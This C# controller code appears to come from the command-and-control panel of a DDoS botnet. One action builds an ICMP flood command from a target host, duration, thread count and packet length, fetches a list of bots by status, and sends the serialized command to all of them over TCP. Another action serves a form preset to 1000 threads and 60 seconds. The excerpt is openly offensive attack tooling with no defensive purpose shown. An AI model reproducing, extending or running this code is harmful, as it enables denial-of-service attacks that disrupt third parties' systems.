public async Task <IActionResult> ExecuteIcmp(IcmpModel model)
        {
            var method = new BaseCommands
            {
                Method = "Icmp"
            };
            var Variables = new IcmpVariables
            {
                Timeout = model.Timeout,
                Length  = model.Length
            };
            var FloodModel = new Server.Commands.BaseFloodModel
            {
                Host         = model.Host,
                Time         = model.Time,
                ThreadstoUse = model.ThreadstoUse,
            };
            var Command = new IcmpCommand
            {
                newIcmpVariables  = Variables,
                newBaseCommand    = method,
                newBaseFloodModel = FloodModel
            };
            var bots = new GetBotsByStatusQuery
            {
                status = model.Force
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
        public IActionResult Icmp()
        {
            var model = new IcmpModel
            {
                Length       = 32,
                ThreadstoUse = 1000,
                Time         = 60
            };

            return(PartialView("_Icmp", model));
        }